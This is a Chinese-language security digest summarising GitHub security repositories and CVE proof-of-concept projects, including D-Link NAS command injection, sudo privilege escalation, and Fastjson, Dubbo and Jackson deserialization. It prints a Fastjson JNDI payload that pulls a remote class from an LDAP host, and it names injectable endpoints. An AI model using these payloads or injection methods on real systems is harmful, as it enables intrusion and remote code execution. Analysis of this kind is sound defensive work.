The agent is designed to be cross-platform, adapting the shell command based on the OS.

🎯 受影响组件

• C2 Agent
• Operating System (where the agent is deployed)
• Network communication between agent and C2 server

⚡ 价值评估

展开查看详细评估

The changes indicate a shift towards more complex communication protocols (SSE) and potential for stealthier C2 operation. The ability to execute commands received from a server presents a high security risk, as any vulnerability on the server could lead to command execution on the compromised host.

Machine-Learning-Security - 增强AI模型鲁棒性和安全性

📌 仓库信息

属性	详情
仓库名称	Machine-Learning-Security
风险等级	`MEDIUM`
安全类型	`安全研究`
更新类型	`新项目`

💡 分析概述

该仓库旨在通过各种方法增强机器学习模型的安全性，使其免受对抗性攻击。项目主要关注提高AI模型的准确性和速度，即使在实时任务中也能保持性能。根据描述，该项目使用多种方法，旨在提高AI模型的鲁棒性，使其在对抗攻击下的表现依旧稳定。由于缺乏代码和更详细的文档，目前难以确定其具体实现细节和技术深度。由于仓库没有提供进一步信息，这里只能根据描述进行初步分析。

🔍 关键发现

序号	发现内容
1	保护AI模型免受对抗性攻击
2	提高AI模型的准确性和速度
3	针对实时任务的优化
4	与AI安全关键词高度相关

🛠️ 技术细节

采用多种方法增强模型鲁棒性，抵抗对抗样本攻击

可能使用了对抗训练、防御蒸馏等技术来提升模型安全性

专注于实时任务（如图像检测）的优化

🎯 受影响组件

• 机器学习模型
• AI应用系统

⚡ 价值评估

展开查看详细评估

该项目直接针对AI安全领域的核心问题——对抗性攻击，并尝试通过各种方法提高模型的鲁棒性。与“AI Security”关键词高度相关。虽然具体实现细节未知，但其研究方向具有重要价值。

AI-Network-security-Intel_Intern - AI驱动的SQL & XSS检测仪表盘

📌 仓库信息

属性	详情
仓库名称	AI-Network-security-Intel_Intern
风险等级	`MEDIUM`
安全类型	`安全工具/安全研究/POC收集`
更新类型	`新增`

📊 代码统计

分析提交数: 1
变更文件数: 213

💡 分析概述

该仓库是一个基于机器学习的SQL和XSS检测仪表盘。它使用随机森林模型对URL进行良性和恶意分类。更新内容包括了代码的初步提交，涉及了Demo视频链接，运行说明以及PaylodsAllTheThings项目，包含一些用于安全测试的payload. 其中，PaylodsAllTheThings项目包含CORS Misconfiguration, CRLF Injection, CVEs的利用代码等，虽然仓库本身的功能是安全检测，但同时也包含了漏洞利用相关的代码，例如 CVE-2017-5638, CVE-2019-19781. 鉴于该仓库的核心功能与AI安全相关，并且涉及了安全测试和漏洞利用相关的技术，因此判断为有价值。

🔍 关键发现

序号	发现内容
1	基于机器学习的SQL和XSS检测仪表盘
2	使用随机森林模型进行URL分类
3	包含PayloadsAllTheThings项目子模块，提供多种安全测试payload
4	涉及CORS Misconfiguration, CRLF Injection, 和CVEs的利用代码

🛠️ 技术细节

使用Streamlit构建的仪表盘

使用了随机森林模型进行恶意URL检测

包含了PaylodsAllTheThings项目，其中包含漏洞利用的POC，例如Struts2 CVEs的POC

代码中涉及到机器学习模型构建和使用

🎯 受影响组件

• Streamlit
• Random Forest Model
• PaylodsAllTheThings 相关的 Web 应用, 漏洞相关的组件

⚡ 价值评估

展开查看详细评估

该仓库与AI Security主题相关，核心功能是AI驱动的安全检测。同时，项目包含PaylodsAllTheThings子模块，包含CORS Misconfiguration, CRLF Injection, 以及CVEs（包括Struts2，Citrix ADC等）的漏洞利用代码，体现了安全研究的价值。

Wazuh-MCP-Server - AI-增强Wazuh安全平台

📌 仓库信息

属性	详情
仓库名称	Wazuh-MCP-Server
风险等级	`LOW`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 55

💡 分析概述

该仓库是一个基于Wazuh SIEM和Claude Desktop的AI驱动安全运营平台，旨在提供自然语言威胁检测、自动化事件响应和合规性。仓库在原有基础上，增加了对Phase 5 Prompt Enhancement System的完整实现，包括上下文聚合、动态提示符调整和实时更新等功能。更新内容包括代码重构，文档结构优化，以及新增测试用例，重点是Phase 5的实现，其功能极大的增强了安全分析能力。虽然更新内容主要集中在功能增强和代码优化，但其引入的AI驱动的安全分析和风险评估，以及多框架合规性检查，提高了平台的安全性，值得关注。

🔍 关键发现

序号	发现内容
1	AI驱动的安全分析与风险评估
2	增强的上下文理解能力，提高分析准确性
3	多框架合规性检查（PCI DSS, HIPAA等）
4	实时agent健康监控和诊断
5	代码重构和文档结构优化

🛠️ 技术细节

实现Phase 5 Prompt Enhancement System，包括上下文聚合、动态提示符调整、实时更新等功能。

使用缓存机制防止冗余API调用，提高响应速度。

使用Python编写，依赖于Wazuh API和Claude Desktop。

新增大量测试用例，覆盖Phase 5的核心功能，例如动态提示符调整、数据可用性检测等。

代码结构调整，将脚本、文档等文件进行分类存放，提高代码可维护性。

🎯 受影响组件

• Wazuh MCP Server
• Claude Desktop

⚡ 价值评估

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增加了AI驱动的安全分析和风险评估功能，增强了上下文理解能力，提高了分析的准确性，改进了事件响应能力。

JavaSpring_RestaurantMS - Spring Boot 餐厅管理系统

📌 仓库信息

属性	详情
仓库名称	JavaSpring_RestaurantMS
风险等级	`MEDIUM`
安全类型	`安全修复`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 3

💡 分析概述

该仓库是一个基于Spring Boot框架构建的餐厅管理系统，集成了AI聊天GPT支持，作者声明该项目与安全相关。本次更新主要修改了身份验证相关的代码，包括AuthViewController和SecurityConfig。更新内容包括添加了注销功能，并在SecurityConfig中配置了logout相关的设置，如logoutUrl、logoutSuccessUrl、invalidateHttpSession、deleteCookies等，这涉及到会话管理和身份验证的安全性。总体来说，更新增强了项目的安全相关配置，改进了身份验证机制。

🔍 关键发现

序号	发现内容
1	Spring Boot 餐厅管理系统，整合AI功能
2	更新涉及身份验证，添加了注销功能
3	更新包含SecurityConfig配置,加强安全
4	更新修改了AuthViewController和SecurityConfig文件

🛠️ 技术细节

AuthViewController 增加了logout功能，使用户可以安全地注销。使用 SecurityContextLogoutHandler 处理注销。

SecurityConfig 增加了logout相关的配置。设置了logoutUrl, logoutSuccessUrl, invalidateHttpSession, deleteCookies。

更新涉及身份验证和会话管理, 增强了应用程序的安全性, 但也可能引入配置错误风险

🎯 受影响组件

• Spring Security
• AuthViewController.java
• SecurityConfig.java

⚡ 价值评估

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更新修改了安全配置，包括注销功能，完善了身份验证流程，属于安全改进。

Weapon-Detection-project - AI武器检测项目，用于安全监控。

📌 仓库信息

属性	详情
仓库名称	Weapon-Detection-project
风险等级	`LOW`
安全类型	`安全研究`
更新类型	`新增项目`

📊 代码统计

分析提交数: 2
变更文件数: 4

💡 分析概述

该仓库是一个使用Python和AI开发的轻量级深度学习武器检测模型。它主要功能是用于检测视频或图像中的武器，并提供实时报警。本次更新包括了模型训练、推理代码，以及一个基于Flask的Web界面，用于上传视频、实时监控和报警。从安全角度来看，该项目专注于目标检测，虽然没有直接的漏洞利用，但其核心功能与安全监控相关，且使用了AI技术，具有一定的研究价值。但由于当前更新内容较为基础，尚无明确的漏洞或攻击面，所以风险等级较低。该项目主要技术是将AI用于安全监控，与关键词AI Security高度相关。

🔍 关键发现

序号	发现内容
1	基于AI的武器检测模型
2	Flask Web界面实现，提供视频监控
3	包含模型训练和推理代码
4	与AI Security关键词高度相关

🛠️ 技术细节

使用Python和Tensorflow框架开发

YOLO模型进行目标检测

Flask框架用于Web界面

使用了opencv-python处理视频流

🎯 受影响组件

• Python
• Tensorflow
• YOLO模型
• Flask
• OpenCV

⚡ 价值评估

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该项目与AI Security主题高度相关，利用AI技术进行武器检测，具备一定的技术含量，并且有实际应用价值。虽然当前版本没有明显的安全漏洞，但其功能与安全监控相关，可以用于安全研究。

AI-Security-Guard - YOLOv9目标检测模型实现

📌 仓库信息

属性	详情
仓库名称	AI-Security-Guard
风险等级	`LOW`
安全类型	`安全功能`
更新类型	`GENERAL_UPDATE`

📊 代码统计

分析提交数: 5
变更文件数: 20

💡 分析概述

该仓库实现了YOLOv9目标检测模型，这是一个基于AI的视觉安全项目。仓库的核心功能是利用YOLOv9模型进行目标检测，旨在检测和识别视频监控中的异常行为，例如暴力行为等。更新内容包含了YOLOv9模型的代码实现、训练脚本、数据集划分脚本等，并提供了模型训练和推理的完整流程。由于是新增项目，所以没有漏洞相关的修复。整体是一个基于目标检测技术的监控项目，没有明显的安全风险，但是如果后期被用于安防，需要关注模型对抗攻击。目前代码质量良好，有价值。

🔍 关键发现

序号	发现内容
1	实现了YOLOv9目标检测模型
2	提供了训练和推理脚本
3	包括数据集划分脚本
4	模型用于视频监控，识别异常行为

🛠️ 技术细节

使用了PyTorch深度学习框架

实现了YOLOv9模型的网络结构

提供了数据加载和预处理脚本

包含目标检测的训练、验证、推理代码

🎯 受影响组件

• PyTorch
• 目标检测模型

⚡ 价值评估

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实现了YOLOv9目标检测模型，并提供了完整的训练和推理流程，代码质量良好，对于理解和应用目标检测技术有参考价值。

CVE-2024-10915 - D-Link NAS 远程命令执行漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2024-10915
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 08:06:01

📦 相关仓库

CVE-2024-10915

💡 分析概述

该仓库提供了针对 D-Link NAS 设备的 CVE-2024-10915 漏洞的 PoC 和利用代码。仓库包含了 Python 脚本文件 dlink_nas_rce_cve_2024_10915.py 和 README.md 文件，其中 README.md 文件详细描述了漏洞信息、受影响产品、利用方法和使用示例。漏洞利用代码通过构造特定的 HTTP 请求，向 /cgi-bin/account_mgr.cgi?cmd=cgi_user_add 接口的 group 参数注入命令，实现远程代码执行。代码质量方面，脚本结构清晰，有注释，使用 requests 库发送 HTTP 请求，并支持代理和输出结果到文件。README 文件提供了详细的说明和使用示例。漏洞利用方式是通过构造特定的 URL 请求，向目标设备的 /cgi-bin/account_mgr.cgi?cmd=cgi_user_add 接口发送请求，在 group 参数中注入恶意命令，从而实现远程代码执行。

🔍 关键发现

序号	发现内容
1	D-Link NAS 多个型号存在远程命令执行漏洞
2	利用接口为 /cgi-bin/account_mgr.cgi?cmd=cgi_user_add
3	通过注入 group 参数执行任意命令
4	提供Python脚本进行漏洞利用，POC可用

🛠️ 技术细节

漏洞原理：通过构造包含恶意命令的 group 参数，注入到 CGI 程序，导致命令执行。

利用方法：使用提供的 Python 脚本或构造类似的 HTTP 请求，将恶意命令注入到 group 参数中。

修复方案：升级到修复版本，禁用或限制对 /cgi-bin/account_mgr.cgi 的访问，对用户输入进行严格的过滤和验证。

🎯 受影响组件

• D-Link DNS-320
• D-Link DNS-320LW
• D-Link DNS-325
• D-Link DNS-340L

⚡ 价值评估

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该漏洞影响广泛使用的 D-Link NAS 产品，且提供了明确的漏洞利用代码和POC，可以实现远程代码执行，危害严重。

CVE-2025-32462 - Sudo漏洞：本地用户提权

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-32462
风险等级	`CRITICAL`
利用状态	`理论可行`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 07:51:10

📦 相关仓库

CVE-2025-32462-32463-Detection-Script-

💡 分析概述

该仓库提供检测CVE-2025-32462和CVE-2025-32463漏洞的脚本。CVE-2025-32462影响sudo在特定sudoers配置下执行命令。CVE-2025-32463允许本地用户通过/etc/nsswitch.conf文件提权。更新内容包括README.md的更新以及用于检测漏洞的bash脚本check_cve_2025_32462.sh和check_cve_2025_32463.sh。这些脚本通过检查sudo版本和配置来检测漏洞。CVE-2025-32463可以导致root权限提升，风险极高。脚本检测版本是否低于1.9.17，并检测--chroot参数使用情况。

🔍 关键发现

序号	发现内容
1	CVE-2025-32462和CVE-2025-32463 sudo漏洞
2	CVE-2025-32463 允许本地用户提权至root
3	提供了检测脚本，用于检查sudo版本和配置
4	受影响的sudo版本低于1.9.17p1

🛠️ 技术细节

CVE-2025-32462：sudo配置不当，允许用户在非预期主机上执行命令。

CVE-2025-32463：sudo在使用--chroot选项时，从用户控制的目录加载/etc/nsswitch.conf，导致提权。

利用方法：CVE-2025-32463 存在提权漏洞，通过构造恶意配置文件实现root权限。CVE-2025-32462利用sudoers配置漏洞实现命令执行。

修复方案：升级sudo至1.9.17p1或更高版本。检查并修复sudoers配置文件和--chroot参数的使用。

🎯 受影响组件

• sudo
• Linux发行版

⚡ 价值评估

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CVE-2025-32463是一个关键漏洞，允许本地用户获得root权限，对系统安全具有严重影响。检测脚本提供了实用的检测方法，符合价值判断标准。

CVE-2023-23638 - Dubbo JavaNative反序列化漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2023-23638
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 07:48:07

📦 相关仓库

dubbo-CVE-2023-23638

💡 分析概述

该仓库提供了一个针对Apache Dubbo JavaNative反序列化漏洞（CVE-2023-23638）的POC和测试代码。仓库包含了完整的Dubbo服务提供者（DemoProvider）和消费者（DemoConsumer）示例，以及必要的配置文件和依赖。最新提交添加了README.md， pom.xml, DemoConsumer.java, DemoProvider.java, HelloService.java, HelloServiceImpl.java, log4j.properties, generic-type-consumer.xml, generic-type-provider.xml等文件，构建了一个完整的Dubbo应用环境，方便漏洞复现和分析。

漏洞分析：
该漏洞是由于Dubbo在处理Hessian反序列化时，未正确限制可反序列化类的白名单，导致攻击者可以通过构造恶意的序列化数据，触发Java反序列化，最终实现远程代码执行（RCE）。提供的POC通过修改SerializeClassChecker类的允许列表，并结合JNDI注入，实现了对漏洞的利用。具体利用方法为：

构造包含恶意类的序列化数据。
在DemoConsumer中，通过配置SerializeClassChecker，将允许反序列化的类设置为攻击者可控的类（例如JdbcRowSetImpl）。
通过Dubbo的泛化调用，触发反序列化过程。
JdbcRowSetImpl会尝试连接指定的LDAP服务器，进而执行恶意代码。

该漏洞的利用需要特定的配置，例如需要设置-Ddubbo.hessian.allowNonSerializable=true。同时，该仓库也提供了对漏洞的分析文章和参考资料。

🔍 关键发现

序号	发现内容
1	Dubbo JavaNative反序列化漏洞
2	RCE利用
3	POC代码
4	JNDI注入
5	需要特定配置

🛠️ 技术细节

漏洞原理：Dubbo Hessian反序列化时，未正确限制可反序列化类的白名单。

利用方法：通过构造恶意的序列化数据，结合JdbcRowSetImpl类，触发JNDI注入，最终实现RCE。

修复方案：升级Dubbo版本，或者在配置中严格限制可反序列化的类。

POC分析：提供的POC通过修改SerializeClassChecker类的允许列表，并结合JNDI注入，实现了对漏洞的利用。

🎯 受影响组件

• Apache Dubbo

⚡ 价值评估

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该漏洞是远程代码执行漏洞，并且有明确的POC和利用方法，可以对Dubbo服务造成严重威胁。

CVE-2022-25845 - Fastjson反序列化漏洞(CVE-2022-25845)

📌 漏洞信息

属性	详情
CVE编号	CVE-2022-25845
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 07:46:05

📦 相关仓库

fastjson-CVE-2022-25845

💡 分析概述

该仓库是针对Fastjson反序列化漏洞(CVE-2022-25845)的复现代码。仓库创建于2025-07-11，包含代码，配置文件，以及相关的jar包依赖。最新提交添加了.gitignore文件，IDE配置文件，pom.xml文件以及漏洞利用的java文件。pom.xml文件中声明了fastjson 1.2.62版本，该版本存在漏洞，并引入了xbean-reflect依赖。 src/main/java目录下包含Evil.java和Main.java。Evil.java用于执行命令，Main.java则构造了漏洞利用的payload。漏洞利用方式为: 1. 设置Fastjson的AutoTypeSupport为true；2. 构造包含JndiConverter类的JSON字符串，并指定ldap路径，最终触发JNDI注入，执行恶意代码。

🔍 关键发现

序号	发现内容
1	Fastjson反序列化漏洞
2	漏洞利用通过JNDI注入
3	受影响版本: Fastjson 1.2.62
4	提供PoC和漏洞利用代码

🛠️ 技术细节

漏洞原理: Fastjson在处理JSON数据时，开启了AutoTypeSupport，导致攻击者可以构造恶意的JSON字符串，利用JNDI注入，加载并执行任意类。

利用方法: 构造JSON payload, 例如:{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://localhost:1389/Evil"}，其中Evil类为恶意类，通过JNDI协议从攻击者控制的LDAP服务器加载Evil类并执行。

修复方案: 升级Fastjson到安全版本，或者禁用AutoTypeSupport，并对输入数据进行严格的过滤和校验。

🎯 受影响组件

• Fastjson
• Java

⚡ 价值评估

展开查看详细评估

该漏洞影响广泛使用的Fastjson组件，存在远程代码执行(RCE)风险。仓库提供了完整的PoC和漏洞利用代码，可以直接复现和利用。影响版本明确，危害严重。

CVE-2020-36180 - Jackson反序列化漏洞POC

📌 漏洞信息

属性	详情
CVE编号	CVE-2020-36180
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 07:34:12

📦 相关仓库

jackson-CVE-2020-36180

💡 分析概述

该仓库是针对Jackson反序列化漏洞(CVE-2020-36180)的POC。该仓库的最新提交添加了.gitignore、.idea相关配置文件、pom.xml以及POC.java文件。pom.xml文件引入了jackson-databind，以及相关的依赖。POC.java文件构造了利用Jackson进行反序列化攻击的payload，其目的是通过JDBC连接到H2数据库，并执行恶意SQL脚本。由于POC中包含了明确的利用代码，并且可以触发漏洞，因此具有较高的价值。

漏洞利用方式：

构造恶意的JSON payload，其中包含org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS类，该类用于创建连接池，通过配置url属性来指定JDBC连接。该POC中，通过INIT属性指定执行SQL脚本，从远程服务器获取恶意SQL脚本并执行。
攻击者控制的服务器上提供恶意SQL脚本，例如exec.sql，脚本中包含恶意命令。
受影响的系统使用Jackson反序列化恶意JSON payload，导致远程代码执行。

🔍 关键发现

序号	发现内容
1	Jackson反序列化漏洞POC
2	利用commons-dbcp2和H2数据库
3	远程代码执行
4	POC代码已提供

🛠️ 技术细节

漏洞利用Jackson反序列化过程中，未对输入进行严格的类型检查，导致攻击者可以构造恶意payload。

POC通过构造恶意的JSON payload，利用org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS类，并结合JDBC连接和H2数据库的特性，实现远程代码执行。

修复方案：升级Jackson-databind版本，或者禁用Jackson的默认类型处理。

🎯 受影响组件

• Jackson-databind

⚡ 价值评估

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该POC提供了明确的漏洞利用方法，并且可以触发远程代码执行，影响较大。

vuln_crawler - 漏洞情报聚合工具，含0day

📌 仓库信息

属性	详情
仓库名称	vuln_crawler
风险等级	`CRITICAL`
安全类型	`POC更新/漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库是一个多源漏洞情报聚合工具，从多个安全数据源爬取漏洞信息，去重并生成结构化报告。本次更新新增了一个自动更新0day漏洞情报的功能。更新的报告文件包含了多个高危漏洞，其中包括WordPress Bricks Builder 远程代码执行漏洞、Apache OFBiz 路径遍历导致命令执行漏洞、Git 任意命令执行漏洞等，这些漏洞涵盖了Web应用、开源软件和系统组件。漏洞涉及远程代码执行、路径遍历、SSRF、本地提权以及信息泄露等多种类型。由于提供了详细的漏洞信息，包括CVE ID、漏洞名称、严重程度和参考链接等，使得该工具具有了较高的安全价值，可以用于安全评估和漏洞预警。漏洞的利用方式多种多样，针对不同的漏洞类型，可能需要构造特定的请求、上传恶意文件、利用系统调用等方式进行攻击。例如，WordPress Bricks Builder 远程代码执行漏洞，攻击者可能通过构造特定的HTTP请求，利用漏洞执行任意代码。

🔍 关键发现

序号	发现内容
1	自动更新0day漏洞情报功能
2	涵盖多个高危漏洞，包括RCE、路径遍历等
3	报告包含详细的漏洞信息，便于安全分析
4	漏洞涉及Web应用、开源软件和系统组件

🛠️ 技术细节

该工具通过爬虫技术从多个安全数据源抓取漏洞信息。

生成的报告是结构化的，便于分析和处理。

更新的漏洞情报包含CVE ID、漏洞名称、严重程度、发布日期等信息，为安全人员提供参考。

漏洞利用方法可能涉及构造恶意请求、上传恶意文件等。

🎯 受影响组件

• WordPress Bricks Builder
• Apache OFBiz
• Git
• GeoServer
• libblockdev
• Citrix NetScaler ADC
• Citrix NetScaler Gateway
• Atlassian Confluence

⚡ 价值评估

展开查看详细评估

该仓库能够自动更新0day漏洞情报，其中包含多个高危漏洞，对于安全人员进行漏洞评估和预警具有重要价值。该仓库提供了丰富的漏洞信息，有助于快速了解最新的安全威胁。

watch0day - 自动化0day漏洞监控系统

📌 仓库信息

属性	详情
仓库名称	watch0day
风险等级	`MEDIUM`
安全类型	`安全研究`
更新类型	`GENERAL_UPDATE`

📊 代码统计

分析提交数: 2
变更文件数: 4

💡 分析概述

该仓库是一个自动化0day漏洞监控系统，通过GitHub Actions定时抓取互联网最新漏洞情报，自动翻译并生成结构化报告。本次更新主要增加了2025-07-11和2025-07-10的0day漏洞报告，报告内容来源于The Hacker News等渠道，涵盖了Citrix NetScaler、mcp-remote、ServiceNow等产品的漏洞信息，并提供了CVE编号和链接。具体漏洞包括：CVE-2025-5777、CVE-2025-6514、CVE-2025-3648等。此外，报告还提到了ASP.NET machine keys相关的漏洞利用。

🔍 关键发现

序号	发现内容
1	自动化0day漏洞情报收集
2	报告包含CVE编号和链接
3	覆盖多个厂商的漏洞信息
4	包括Citrix NetScaler、mcp-remote、ServiceNow等

🛠️ 技术细节

GitHub Actions定时抓取互联网最新漏洞情报

自动翻译并生成结构化报告

报告格式为markdown

🎯 受影响组件

• Citrix NetScaler ADC and Gateway
• mcp-remote
• ServiceNow
• ASP.NET

⚡ 价值评估

展开查看详细评估

该项目能够自动化收集最新的0day漏洞情报，对于安全研究人员来说具有较高的参考价值。报告中包含的CVE编号和链接方便了对漏洞的进一步分析和跟踪。

znlinux - Linux提权工具

📌 仓库信息

属性	详情
仓库名称	znlinux
风险等级	`MEDIUM`
安全类型	`漏洞利用`
更新类型	`GENERAL_UPDATE`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库是一个Linux提权工具，旨在帮助安全专业人员和爱好者识别和利用Linux系统中的提权漏洞。该工具支持多种Linux架构，并提供了一个框架来简化漏洞的发现和利用过程。本次更新主要修改了README.md文件，增加了关于工具的介绍，包括功能、安装、使用方法、贡献指南、许可证等内容。虽然更新没有直接涉及代码层面的漏洞利用或安全修复，但README文件的更新有助于用户更好地理解和使用该工具，间接提升了工具的价值。

🔍 关键发现

序号	发现内容
1	Linux提权工具，支持多种架构
2	提供了漏洞识别和利用的框架
3	更新了README.md文件，增加了工具介绍
4	有助于用户理解和使用工具

🛠️ 技术细节

README.md文件更新，新增了工具介绍、功能、安装、使用方法等部分。

工具本身的功能包括识别和利用Linux系统中的提权漏洞。

🎯 受影响组件

• Linux系统

⚡ 价值评估

展开查看详细评估

虽然本次更新仅为文档更新，但该工具本身是关于漏洞利用的，因此文档的完善有助于用户更好地理解和使用该工具，具有一定的价值。

SpecProbe - 漏洞扫描与PoC验证工具

📌 仓库信息

属性	详情
仓库名称	SpecProbe
风险等级	`MEDIUM`
安全类型	`安全工具/安全研究`
更新类型	`新增`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库是一个名为SpecProbe的漏洞扫描工具，具有GUI界面。它集成了针对Spectre、Meltdown等CPU硬件漏洞的检测功能，并支持多语言源代码静态分析和动态PoC验证。更新内容主要体现在README.md文件的创建，详细介绍了工具的运行环境、依赖、使用方法以及功能特性。该工具的核心功能围绕漏洞检测和利用展开，能够进行CPU硬件漏洞检测、多语言源代码分析和动态PoC验证，因此与漏洞关键词高度相关。虽然没有直接提供漏洞利用代码，但其PoC验证功能表明其具备漏洞利用的能力。

README.md中详细介绍了SpecProbe的使用方法，包括基本使用、命令行模式和使用集成的CodeQL进行代码分析。它还提供了系统要求和故障排除信息。该工具的核心在于通过静态分析和动态PoC验证来发现和确认漏洞，具备一定的安全研究价值。虽然具体PoC实现细节没有在README中详细说明，但是PoC验证功能表明该工具具备漏洞利用的能力，比如动态的PoC验证。

🔍 关键发现

序号	发现内容
1	CPU硬件漏洞检测（Spectre/Meltdown等）
2	多语言源代码静态分析（C/C++/Java/Python/JS等）
3	动态PoC漏洞验证
4	与漏洞关键词高度相关
5	具备一定安全研究价值

🛠️ 技术细节

CPU硬件漏洞检测：集成Spectre、Meltdown、EntryBleed等漏洞检测脚本。

源代码分析：支持C/C++, Java, Python等多种语言的静态分析，并结合CodeQL工具链。

动态PoC验证：具备动态PoC漏洞验证功能，可以对检测到的漏洞进行验证。

GUI界面：提供图形用户界面，方便用户使用。

🎯 受影响组件

• CPU硬件（Spectre/Meltdown等相关）
• C/C++代码
• Java代码
• Python代码
• JS代码
• Linux系统（建议Ubuntu 20.04/22.04）

⚡ 价值评估

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该工具与搜索关键词“漏洞”高度相关，主要功能是漏洞检测和PoC验证。它集成了硬件漏洞检测、多语言源代码分析和动态PoC验证功能，具有一定的安全研究价值。虽然没有直接提供漏洞利用代码，但其PoC验证功能表明其具备漏洞利用的能力。

pulsar - eBPF运行时IoT安全工具

📌 仓库信息

属性	详情
仓库名称	pulsar
风险等级	`HIGH`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 2
变更文件数: 17

💡 分析概述

Pulsar是一个基于eBPF的运行时安全工具，用于保护IoT设备。此次更新增加了多个安全规则，包括检测C2连接、创建敏感文件、链接敏感文件、读取SSH信息、搜索私钥和密码、检测二进制目录篡改、检测可执行文件自删除、检测shell历史删除和截断、检测内核模块注入、检测计划任务以及CVE-2021-4034漏洞利用尝试等。这些规则覆盖了命令与控制、凭证访问、防御规避、权限提升等多个攻击阶段。其中，新增规则涉及到C2通信检测，潜在的敏感信息泄露，以及权限提升相关漏洞的检测。这些更新对提高Pulsar的整体安全防护能力有积极作用。

🔍 关键发现

序号	发现内容
1	新增了针对C2通信、凭证访问、防御规避和权限提升等攻击行为的检测规则。
2	增加了对CVE-2021-4034漏洞利用尝试的检测。
3	提升了对IoT设备安全威胁的检测能力。

🛠️ 技术细节

新增了Connect、FileCreated、FileLink、FileOpened、Exec、FileRename、FileDeleted等类型的eBPF规则。

规则基于MITRE ATT&CK框架，覆盖了多个攻击阶段，提高了检测的全面性。

增加了对特定文件操作、命令执行的监控，提高了对恶意行为的识别能力。

CVE-2021-4034检测规则：通过检测argv为空，envp非空的Exec事件，判断是否可能存在利用该漏洞进行权限提升的行为。

🎯 受影响组件

• Pulsar
• IoT设备
• Linux内核

⚡ 价值评估

展开查看详细评估

新增了多个安全规则，覆盖了C2通信、凭证访问、防御规避和权限提升等多个攻击阶段，并增加了对CVE-2021-4034漏洞利用尝试的检测。这些更新增强了Pulsar对IoT设备安全威胁的检测能力，提高了安全防护水平。

spring-security-toolkit - Spring Security安全工具包

📌 仓库信息

属性	详情
仓库名称	spring-security-toolkit
风险等级	`LOW`
安全类型	`安全工具`
更新类型	`新增模块`

📊 代码统计

分析提交数: 2
变更文件数: 4

💡 分析概述

该仓库是一个Spring Boot的安全工具包，名为Spring Boot Guardian Starter，提供开箱即用的安全功能，包括JWT认证、速率限制、审计日志和方法安全。仓库包含starter和autoconfigure模块，以及一个示例应用程序。本次更新添加了用于设置基本项目的模块，包括了Main.java文件和README.md文件。README.md详细介绍了该工具包的功能，配置方法，以及认证流程和速率限制等安全机制。由于该项目主要目的是增强Spring Boot应用的安全性，与关键词security tool高度相关。

🔍 关键发现

序号	发现内容
1	提供JWT认证、速率限制、审计日志等安全功能
2	支持JWT认证，包含刷新令牌和黑名单机制
3	提供速率限制功能，支持in-memory和Redis实现
4	集成审计日志，记录安全事件
5	与关键词'security tool'高度相关

🛠️ 技术细节

JWT认证：使用JWT进行无状态身份验证，支持令牌刷新和黑名单

速率限制：基于用户IP或用户身份进行速率限制，防止滥用

审计日志：记录登录、注销、访问拒绝等安全事件

Spring Boot集成：提供自动配置，简化集成过程

包含示例应用程序，方便快速上手

🎯 受影响组件

• Spring Boot
• Spring Security
• JWT
• Redis(可选)

⚡ 价值评估

展开查看详细评估

该仓库提供了Spring Boot应用的安全防护工具包，实现了JWT认证、速率限制、审计日志等功能，与安全工具的关键词高度相关。它简化了Spring Boot应用的安全性配置，降低了开发者的安全集成成本，具有一定的实用价值。

bad-ips-on-my-vps - 恶意IP黑名单管理工具

📌 仓库信息

属性	详情
仓库名称	bad-ips-on-my-vps
风险等级	`HIGH`
安全类型	`安全修复/安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 4
变更文件数: 4

💡 分析概述

该仓库维护一个实时更新的恶意IP列表，用于阻止攻击与未授权访问，安全相关的更新主要体现在持续添加已知威胁IP。

🔍 关键发现

序号	发现内容
1	维护恶意IP数据库以阻止攻击
2	每小时更新恶意IP列表
3	安全工具阻断恶意IP的配合使用
4	影响网络安全防护措施

🛠️ 技术细节

通过定期收集、整理被检测到的恶意IP，生成IP列表文件

未特别提及检测或利用漏洞的代码，主要是被动收集与阻断措施

安全影响在于实现对已知威胁IP的快速屏蔽，增强安全防护效果

🎯 受影响组件

• 防火墙规则
• 入侵检测系统
• 威胁情报平台

⚡ 价值评估

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该项目通过持续更新的恶意IP名单，帮助安全系统快速屏蔽攻击来源，具有显著的网络安全防护价值，特别在恶意IP黑名单自动化维护方面提供重要作用。

cloudlist - 多云资产发现工具，支持AWS和GCP资产API

📌 仓库信息

属性	详情
仓库名称	cloudlist
风险等级	`MEDIUM`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 8

💡 分析概述

Cloudlist是一个多云资产发现工具，最新更新增强了对GCP资产API的支持，增加了组织级资产API的发现能力和AWS角色权限处理，优化了云资产权限管理和发现范围。

🔍 关键发现

序号	发现内容
1	多云资产发现，支持AWS和GCP多个云服务
2	新增GCP组织级资产API支持，实现更全面的资产发现
3	修复并改进了AWS角色权限假设机制，提升权限管理的灵活性和准确性
4	改进函数安全处理，增加参数校验，防止潜在崩溃

🛠️ 技术细节

新增GCP组织级资产发现利用Cloud Asset Inventory API，覆盖更多资源，适合组织范围的安全审计

